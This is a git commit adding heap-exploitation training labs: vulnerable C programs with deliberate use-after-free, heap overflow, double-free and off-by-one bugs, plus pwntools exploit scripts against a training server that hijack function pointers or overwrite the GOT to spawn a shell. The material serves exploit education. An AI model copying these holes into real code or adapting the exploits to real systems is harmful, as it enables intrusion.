add all lab
This commit is contained in:
parent
6e66417d3d
commit
340a58c46c
|
@ -0,0 +1,2 @@
|
||||||
|
hacknote:hacknote.c
|
||||||
|
gcc -m32 hacknote.c -o hacknote
|
Binary file not shown.
|
@ -0,0 +1,125 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
struct note {
|
||||||
|
void (*printnote)();
|
||||||
|
char *content ;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct note *notelist[5];
|
||||||
|
int count = 0;
|
||||||
|
|
||||||
|
void print_note_content(struct note *this){
|
||||||
|
puts(this->content);
|
||||||
|
}
|
||||||
|
void add_note(){
|
||||||
|
int i ;
|
||||||
|
char buf[8];
|
||||||
|
int size ;
|
||||||
|
if(count > 5){
|
||||||
|
puts("Full");
|
||||||
|
return ;
|
||||||
|
}
|
||||||
|
for(i = 0 ; i < 5 ; i ++){
|
||||||
|
if(!notelist[i]){
|
||||||
|
notelist[i] = (struct note*)malloc(sizeof(struct note));
|
||||||
|
if(!notelist[i]){
|
||||||
|
puts("Alloca Error");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
notelist[i]->printnote = print_note_content;
|
||||||
|
printf("Note size :");
|
||||||
|
read(0,buf,8);
|
||||||
|
size = atoi(buf);
|
||||||
|
notelist[i]->content = (char *)malloc(size);
|
||||||
|
if(!notelist[i]->content){
|
||||||
|
puts("Alloca Error");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
printf("Content :");
|
||||||
|
read(0,notelist[i]->content,size);
|
||||||
|
puts("Success !");
|
||||||
|
count++;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void del_note(){
|
||||||
|
char buf[4];
|
||||||
|
int idx ;
|
||||||
|
printf("Index :");
|
||||||
|
read(0,buf,4);
|
||||||
|
idx = atoi(buf);
|
||||||
|
if(idx < 0 || idx >= count){
|
||||||
|
puts("Out of bound!");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
if(notelist[idx]){
|
||||||
|
free(notelist[idx]->content);
|
||||||
|
free(notelist[idx]);
|
||||||
|
puts("Success");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void print_note(){
|
||||||
|
char buf[4];
|
||||||
|
int idx ;
|
||||||
|
printf("Index :");
|
||||||
|
read(0,buf,4);
|
||||||
|
idx = atoi(buf);
|
||||||
|
if(idx < 0 || idx >= count){
|
||||||
|
puts("Out of bound!");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
if(notelist[idx]){
|
||||||
|
notelist[idx]->printnote(notelist[idx]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void magic(){
|
||||||
|
system("cat /home/hacknote/flag");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void menu(){
|
||||||
|
puts("----------------------");
|
||||||
|
puts(" HackNote ");
|
||||||
|
puts("----------------------");
|
||||||
|
puts(" 1. Add note ");
|
||||||
|
puts(" 2. Delete note ");
|
||||||
|
puts(" 3. Print note ");
|
||||||
|
puts(" 4. Exit ");
|
||||||
|
puts("----------------------");
|
||||||
|
printf("Your choice :");
|
||||||
|
};
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
setvbuf(stdin,0,2,0);
|
||||||
|
char buf[4];
|
||||||
|
while(1){
|
||||||
|
menu();
|
||||||
|
read(0,buf,4);
|
||||||
|
switch(atoi(buf)){
|
||||||
|
case 1 :
|
||||||
|
add_note();
|
||||||
|
break ;
|
||||||
|
case 2 :
|
||||||
|
del_note();
|
||||||
|
break ;
|
||||||
|
case 3 :
|
||||||
|
print_note();
|
||||||
|
break ;
|
||||||
|
case 4 :
|
||||||
|
exit(0);
|
||||||
|
break ;
|
||||||
|
default :
|
||||||
|
puts("Invalid choice");
|
||||||
|
break ;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,40 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwnpwnpwn import *
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
host = "training.pwnable.tw"
|
||||||
|
port = 11010
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
def addnote(size,content):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("1")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(size))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(content)
|
||||||
|
|
||||||
|
def delnote(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("2")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
||||||
|
def printnote(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("3")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
||||||
|
magic = 0x08048986
|
||||||
|
system = 0x8048506
|
||||||
|
addnote(32,"ddaa")
|
||||||
|
addnote(32,"ddaa")
|
||||||
|
addnote(32,"ddaa")
|
||||||
|
delnote(0)
|
||||||
|
delnote(1)
|
||||||
|
addnote(8,p32(magic))
|
||||||
|
printnote(0)
|
||||||
|
r.interactive()
|
|
@ -0,0 +1,2 @@
|
||||||
|
bamboobox:bamboobox.c
|
||||||
|
gcc bamboobox.c -o bamboobox
|
Binary file not shown.
|
@ -0,0 +1,195 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
struct item{
|
||||||
|
int size ;
|
||||||
|
char *name ;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct item itemlist[100] = {0};
|
||||||
|
|
||||||
|
int num ;
|
||||||
|
|
||||||
|
void hello_message(){
|
||||||
|
puts("There is a box with magic");
|
||||||
|
puts("what do you want to do in the box");
|
||||||
|
}
|
||||||
|
|
||||||
|
void goodbye_message(){
|
||||||
|
puts("See you next time");
|
||||||
|
puts("Thanks you");
|
||||||
|
}
|
||||||
|
|
||||||
|
struct box{
|
||||||
|
void (*hello_message)();
|
||||||
|
void (*goodbye_message)();
|
||||||
|
};
|
||||||
|
|
||||||
|
void menu(){
|
||||||
|
puts("----------------------------");
|
||||||
|
puts("Bamboobox Menu");
|
||||||
|
puts("----------------------------");
|
||||||
|
puts("1.show the items in the box");
|
||||||
|
puts("2.add a new item");
|
||||||
|
puts("3.change the item in the box");
|
||||||
|
puts("4.remove the item in the box");
|
||||||
|
puts("5.exit");
|
||||||
|
puts("----------------------------");
|
||||||
|
printf("Your choice:");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void show_item(){
|
||||||
|
int i ;
|
||||||
|
if(!num){
|
||||||
|
puts("No item in the box");
|
||||||
|
}else{
|
||||||
|
for(i = 0 ; i < 100; i++){
|
||||||
|
if(itemlist[i].name){
|
||||||
|
printf("%d : %s",i,itemlist[i].name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
puts("");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int add_item(){
|
||||||
|
|
||||||
|
char sizebuf[8] ;
|
||||||
|
int length ;
|
||||||
|
int i ;
|
||||||
|
int size ;
|
||||||
|
if(num < 100){
|
||||||
|
printf("Please enter the length of item name:");
|
||||||
|
read(0,sizebuf,8);
|
||||||
|
length = atoi(sizebuf);
|
||||||
|
if(length == 0){
|
||||||
|
puts("invaild length");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
for(i = 0 ; i < 100 ; i++){
|
||||||
|
if(!itemlist[i].name){
|
||||||
|
itemlist[i].size = length ;
|
||||||
|
itemlist[i].name = (char*)malloc(length);
|
||||||
|
printf("Please enter the name of item:");
|
||||||
|
size = read(0,itemlist[i].name,length);
|
||||||
|
itemlist[i].name[size] = '\x00';
|
||||||
|
num++;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}else{
|
||||||
|
puts("the box is full");
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void change_item(){
|
||||||
|
|
||||||
|
char indexbuf[8] ;
|
||||||
|
char lengthbuf[8];
|
||||||
|
int length ;
|
||||||
|
int index ;
|
||||||
|
int readsize ;
|
||||||
|
|
||||||
|
if(!num){
|
||||||
|
puts("No item in the box");
|
||||||
|
}else{
|
||||||
|
printf("Please enter the index of item:");
|
||||||
|
read(0,indexbuf,8);
|
||||||
|
index = atoi(indexbuf);
|
||||||
|
if(itemlist[index].name){
|
||||||
|
printf("Please enter the length of item name:");
|
||||||
|
read(0,lengthbuf,8);
|
||||||
|
length = atoi(lengthbuf);
|
||||||
|
printf("Please enter the new name of the item:");
|
||||||
|
readsize = read(0,itemlist[index].name,length);
|
||||||
|
*(itemlist[index].name + readsize) = '\x00';
|
||||||
|
}else{
|
||||||
|
puts("invaild index");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void remove_item(){
|
||||||
|
char indexbuf[8] ;
|
||||||
|
int index ;
|
||||||
|
|
||||||
|
if(!num){
|
||||||
|
puts("No item in the box");
|
||||||
|
}else{
|
||||||
|
printf("Please enter the index of item:");
|
||||||
|
read(0,indexbuf,8);
|
||||||
|
index = atoi(indexbuf);
|
||||||
|
if(itemlist[index].name){
|
||||||
|
free(itemlist[index].name);
|
||||||
|
itemlist[index].name = 0 ;
|
||||||
|
itemlist[index].size = 0 ;
|
||||||
|
puts("remove successful!!");
|
||||||
|
num-- ;
|
||||||
|
}else{
|
||||||
|
puts("invaild index");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void magic(){
|
||||||
|
int fd ;
|
||||||
|
char buffer[100];
|
||||||
|
fd = open("/home/bamboobox/flag",O_RDONLY);
|
||||||
|
read(fd,buffer,sizeof(buffer));
|
||||||
|
close(fd);
|
||||||
|
printf("%s",buffer);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
|
||||||
|
char choicebuf[8];
|
||||||
|
int choice;
|
||||||
|
struct box *bamboo ;
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
setvbuf(stdin,0,2,0);
|
||||||
|
bamboo = malloc(sizeof(struct box));
|
||||||
|
bamboo->hello_message = hello_message;
|
||||||
|
bamboo->goodbye_message = goodbye_message ;
|
||||||
|
bamboo->hello_message();
|
||||||
|
|
||||||
|
while(1){
|
||||||
|
menu();
|
||||||
|
read(0,choicebuf,8);
|
||||||
|
choice = atoi(choicebuf);
|
||||||
|
switch(choice){
|
||||||
|
case 1:
|
||||||
|
show_item();
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
add_item();
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
change_item();
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
remove_item();
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
bamboo->goodbye_message();
|
||||||
|
exit(0);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
puts("invaild choice!!!");
|
||||||
|
break;
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0 ;
|
||||||
|
}
|
|
@ -0,0 +1,44 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwnpwnpwn import *
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
host = "training.pwnable.tw"
|
||||||
|
port = 11011
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
def additem(length,name):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("2")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(length))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(name)
|
||||||
|
|
||||||
|
def modify(idx,length,name):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("3")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(length))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(name)
|
||||||
|
|
||||||
|
def remove(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("4")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
||||||
|
def show():
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("1")
|
||||||
|
|
||||||
|
magic = 0x400d49
|
||||||
|
additem(0x60,"ddaa")
|
||||||
|
modify(0,0x70,"a"*0x60 + p64(0) + p64(0xffffffffffffffff))
|
||||||
|
additem(-160,"dada")
|
||||||
|
additem(0x20,p64(magic)*2)
|
||||||
|
r.interactive()
|
|
@ -0,0 +1,64 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
host = "training.pwnable.tw"
|
||||||
|
port = 11011
|
||||||
|
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
def additem(length,name):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("2")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(length))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(name)
|
||||||
|
|
||||||
|
def modify(idx,length,name):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("3")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(length))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(name)
|
||||||
|
|
||||||
|
def remove(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("4")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
||||||
|
def show():
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("1")
|
||||||
|
|
||||||
|
additem(0x40,"a"*8)
|
||||||
|
additem(0x80,"b"*8)
|
||||||
|
additem(0x40,"c"*8)
|
||||||
|
ptr = 0x6020c8
|
||||||
|
fake_chunk = p64(0) #prev_size
|
||||||
|
fake_chunk += p64(0x41) #size
|
||||||
|
fake_chunk += p64(ptr-0x18) #fd
|
||||||
|
fake_chunk += p64(ptr-0x10) #bk
|
||||||
|
fake_chunk += "c"*0x20
|
||||||
|
fake_chunk += p64(0x40)
|
||||||
|
fake_chunk += p64(0x90)
|
||||||
|
modify(0,0x80,fake_chunk)
|
||||||
|
remove(1)
|
||||||
|
payload = p64(0)*2
|
||||||
|
payload += p64(0x40) + p64(0x602068)
|
||||||
|
modify(0,0x80,payload)
|
||||||
|
show()
|
||||||
|
r.recvuntil("0 : ")
|
||||||
|
atoi = u64(r.recvuntil(":")[:6].ljust(8,"\x00"))
|
||||||
|
libc = atoi - 0x36e80
|
||||||
|
print "libc:",hex(libc)
|
||||||
|
system = libc + 0x45390
|
||||||
|
modify(0,0x8,p64(system))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("sh")
|
||||||
|
r.interactive()
|
|
@ -0,0 +1,2 @@
|
||||||
|
secretgarden:secretgarden.c
|
||||||
|
gcc secretgarden.c -o secretgarden
|
|
@ -0,0 +1,47 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwnpwnpwn import *
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
host = "training.pwnable.tw"
|
||||||
|
port = 11012
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
def raiseflower(length,name,color):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("1")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(length))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(name)
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(color)
|
||||||
|
|
||||||
|
def visit():
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("2")
|
||||||
|
|
||||||
|
def remove(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("3")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
||||||
|
def clean():
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("4")
|
||||||
|
|
||||||
|
magic = 0x400c7b
|
||||||
|
fake_chunk = 0x601ffa
|
||||||
|
raiseflower(0x50,"da","red")
|
||||||
|
raiseflower(0x50,"da","red")
|
||||||
|
remove(0)
|
||||||
|
remove(1)
|
||||||
|
remove(0)
|
||||||
|
raiseflower(0x50,p64(fake_chunk),"blue")
|
||||||
|
raiseflower(0x50,"da","red")
|
||||||
|
raiseflower(0x50,"da","red")
|
||||||
|
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")
|
||||||
|
|
||||||
|
r.interactive()
|
Binary file not shown.
|
@ -0,0 +1,171 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#define TIMEOUT 60
|
||||||
|
|
||||||
|
|
||||||
|
struct flower{
|
||||||
|
int vaild ;
|
||||||
|
char *name ;
|
||||||
|
char color[24] ;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
struct flower* flowerlist[100] ;
|
||||||
|
unsigned int flowercount = 0 ;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void menu(){
|
||||||
|
puts("");
|
||||||
|
puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
|
||||||
|
puts("☆ Baby Secret Garden ☆ ");
|
||||||
|
puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
|
||||||
|
puts("");
|
||||||
|
puts(" 1 . Raise a flower " );
|
||||||
|
puts(" 2 . Visit the garden ");
|
||||||
|
puts(" 3 . Remove a flower from the garden");
|
||||||
|
puts(" 4 . Clean the garden");
|
||||||
|
puts(" 5 . Leave the garden");
|
||||||
|
puts("");
|
||||||
|
printf("Your choice : ");
|
||||||
|
}
|
||||||
|
|
||||||
|
int add(){
|
||||||
|
struct flower *newflower = NULL ;
|
||||||
|
char *buf = NULL ;
|
||||||
|
unsigned size =0;
|
||||||
|
unsigned index ;
|
||||||
|
if(flowercount < 100){
|
||||||
|
newflower = malloc(sizeof(struct flower));
|
||||||
|
memset(newflower,0,sizeof(struct flower));
|
||||||
|
printf("Length of the name :");
|
||||||
|
if(scanf("%u",&size)== EOF) exit(-1);
|
||||||
|
buf = (char*)malloc(size);
|
||||||
|
if(!buf){
|
||||||
|
puts("Alloca error !!");
|
||||||
|
exit(-1);
|
||||||
|
}
|
||||||
|
printf("The name of flower :");
|
||||||
|
read(0,buf,size);
|
||||||
|
newflower->name = buf ;
|
||||||
|
printf("The color of the flower :");
|
||||||
|
scanf("%23s",newflower->color);
|
||||||
|
newflower->vaild = 1 ;
|
||||||
|
for(index = 0 ; index < 100 ; index++ ){
|
||||||
|
if(!flowerlist[index]){
|
||||||
|
flowerlist[index] = newflower ;
|
||||||
|
break ;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
flowercount++ ;
|
||||||
|
puts("Successful !");
|
||||||
|
}else{
|
||||||
|
puts("The garden is overflow");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int del(){
|
||||||
|
unsigned int index ;
|
||||||
|
if(!flowercount){
|
||||||
|
puts("No flower in the garden");
|
||||||
|
}else{
|
||||||
|
printf("Which flower do you want to remove from the garden:");
|
||||||
|
scanf("%d",&index);
|
||||||
|
if(index < 0 ||index >= 100 || !flowerlist[index]){
|
||||||
|
puts("Invalid choice");
|
||||||
|
return 0 ;
|
||||||
|
}
|
||||||
|
(flowerlist[index])->vaild = 0 ;
|
||||||
|
free((flowerlist[index])->name);
|
||||||
|
puts("Successful");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void magic(){
|
||||||
|
int fd ;
|
||||||
|
char buffer[100];
|
||||||
|
fd = open("/home/babysecretgarden/flag",O_RDONLY);
|
||||||
|
read(fd,buffer,sizeof(buffer));
|
||||||
|
close(fd);
|
||||||
|
printf("%s",buffer);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void clean(){
|
||||||
|
unsigned index ;
|
||||||
|
for(index = 0 ; index < 100 ; index++){
|
||||||
|
if(flowerlist[index] && (flowerlist[index])->vaild == 0){
|
||||||
|
free(flowerlist[index]);
|
||||||
|
flowerlist[index] = NULL;
|
||||||
|
flowercount--;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
puts("Done!");
|
||||||
|
}
|
||||||
|
|
||||||
|
int visit(){
|
||||||
|
unsigned index ;
|
||||||
|
if(!flowercount){
|
||||||
|
puts("No flower in the garden !");
|
||||||
|
}else{
|
||||||
|
for(index = 0 ; index < 100 ; index++){
|
||||||
|
if(flowerlist[index] && (flowerlist[index])->vaild){
|
||||||
|
printf("Name of the flower[%u] :%s\n",index,(flowerlist[index])->name);
|
||||||
|
printf("Color of the flower[%u] :%s\n",index,(flowerlist[index])->color);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void handler(int signum){
|
||||||
|
puts("timeout");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
void init(){
|
||||||
|
int fd;
|
||||||
|
fd = open("/dev/urandom",0);
|
||||||
|
close(fd);
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
signal(SIGALRM,handler);
|
||||||
|
alarm(TIMEOUT);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
init();
|
||||||
|
int choice ;
|
||||||
|
char buf[10];
|
||||||
|
while(1){
|
||||||
|
menu();
|
||||||
|
read(0,buf,8);
|
||||||
|
choice = atoi(buf);
|
||||||
|
switch(choice){
|
||||||
|
case 1:
|
||||||
|
add();
|
||||||
|
break ;
|
||||||
|
case 2:
|
||||||
|
visit();
|
||||||
|
break ;
|
||||||
|
case 3:
|
||||||
|
del();
|
||||||
|
break ;
|
||||||
|
case 4:
|
||||||
|
clean();
|
||||||
|
break ;
|
||||||
|
case 5:
|
||||||
|
puts("See you next time.");
|
||||||
|
exit(0);
|
||||||
|
default :
|
||||||
|
puts("Invalid choice");
|
||||||
|
break ;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,2 @@
|
||||||
|
heapcreator:heapcreator.c
|
||||||
|
gcc heapcreator.c -o heapcreator
|
Binary file not shown.
|
@ -0,0 +1,152 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void read_input(char *buf,size_t size){
|
||||||
|
int ret ;
|
||||||
|
ret = read(0,buf,size);
|
||||||
|
if(ret <=0){
|
||||||
|
puts("Error");
|
||||||
|
_exit(-1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct heap {
|
||||||
|
size_t size ;
|
||||||
|
char *content ;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct heap *heaparray[10];
|
||||||
|
|
||||||
|
void menu(){
|
||||||
|
puts("--------------------------------");
|
||||||
|
puts(" Heap Creator ");
|
||||||
|
puts("--------------------------------");
|
||||||
|
puts(" 1. Create a Heap ");
|
||||||
|
puts(" 2. Edit a Heap ");
|
||||||
|
puts(" 3. Show a Heap ");
|
||||||
|
puts(" 4. Delete a Heap ");
|
||||||
|
puts(" 5. Exit ");
|
||||||
|
puts("--------------------------------");
|
||||||
|
printf("Your choice :");
|
||||||
|
}
|
||||||
|
|
||||||
|
void create_heap(){
|
||||||
|
int i ;
|
||||||
|
char buf[8];
|
||||||
|
size_t size = 0;
|
||||||
|
for(i = 0 ; i < 10 ; i++){
|
||||||
|
if(!heaparray[i]){
|
||||||
|
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
|
||||||
|
if(!heaparray[i]){
|
||||||
|
puts("Allocate Error");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
printf("Size of Heap : ");
|
||||||
|
read(0,buf,8);
|
||||||
|
size = atoi(buf);
|
||||||
|
heaparray[i]->content = (char *)malloc(size);
|
||||||
|
if(!heaparray[i]->content){
|
||||||
|
puts("Allocate Error");
|
||||||
|
exit(2);
|
||||||
|
}
|
||||||
|
heaparray[i]->size = size ;
|
||||||
|
printf("Content of heap:");
|
||||||
|
read_input(heaparray[i]->content,size);
|
||||||
|
puts("SuccessFul");
|
||||||
|
break ;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void edit_heap(){
|
||||||
|
int idx ;
|
||||||
|
char buf[4];
|
||||||
|
printf("Index :");
|
||||||
|
read(0,buf,4);
|
||||||
|
idx = atoi(buf);
|
||||||
|
if(idx < 0 || idx >= 10){
|
||||||
|
puts("Out of bound!");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
if(heaparray[idx]){
|
||||||
|
printf("Content of heap : ");
|
||||||
|
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
|
||||||
|
puts("Done !");
|
||||||
|
}else{
|
||||||
|
puts("No such heap !");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void show_heap(){
|
||||||
|
int idx ;
|
||||||
|
char buf[4];
|
||||||
|
printf("Index :");
|
||||||
|
read(0,buf,4);
|
||||||
|
idx = atoi(buf);
|
||||||
|
if(idx < 0 || idx >= 10){
|
||||||
|
puts("Out of bound!");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
if(heaparray[idx]){
|
||||||
|
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
|
||||||
|
puts("Done !");
|
||||||
|
}else{
|
||||||
|
puts("No such heap !");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void delete_heap(){
|
||||||
|
int idx ;
|
||||||
|
char buf[4];
|
||||||
|
printf("Index :");
|
||||||
|
read(0,buf,4);
|
||||||
|
idx = atoi(buf);
|
||||||
|
if(idx < 0 || idx >= 10){
|
||||||
|
puts("Out of bound!");
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
if(heaparray[idx]){
|
||||||
|
free(heaparray[idx]->content);
|
||||||
|
free(heaparray[idx]);
|
||||||
|
heaparray[idx] = NULL ;
|
||||||
|
puts("Done !");
|
||||||
|
}else{
|
||||||
|
puts("No such heap !");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int main(){
|
||||||
|
char buf[4];
|
||||||
|
setvbuf(stdout,0,2,0);
|
||||||
|
setvbuf(stdin,0,2,0);
|
||||||
|
while(1){
|
||||||
|
menu();
|
||||||
|
read(0,buf,4);
|
||||||
|
switch(atoi(buf)){
|
||||||
|
case 1 :
|
||||||
|
create_heap();
|
||||||
|
break ;
|
||||||
|
case 2 :
|
||||||
|
edit_heap();
|
||||||
|
break ;
|
||||||
|
case 3 :
|
||||||
|
show_heap();
|
||||||
|
break ;
|
||||||
|
case 4 :
|
||||||
|
delete_heap();
|
||||||
|
break ;
|
||||||
|
case 5 :
|
||||||
|
exit(0);
|
||||||
|
break ;
|
||||||
|
default :
|
||||||
|
puts("Invalid Choice");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return 0 ;
|
||||||
|
}
|
|
@ -0,0 +1,58 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
from pwnpwnpwn import *
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
host = "training.pwnable.tw"
|
||||||
|
port = 11013
|
||||||
|
#host = "10.211.55.28"
|
||||||
|
#port = 8888
|
||||||
|
|
||||||
|
r = remote(host,port)
|
||||||
|
|
||||||
|
|
||||||
|
def create(size,content):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("1")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(size))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(content)
|
||||||
|
|
||||||
|
def edit(idx,content):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("2")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(content)
|
||||||
|
|
||||||
|
def show(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("3")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
||||||
|
def delete(idx):
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline("4")
|
||||||
|
r.recvuntil(":")
|
||||||
|
r.sendline(str(idx))
|
||||||
|
|
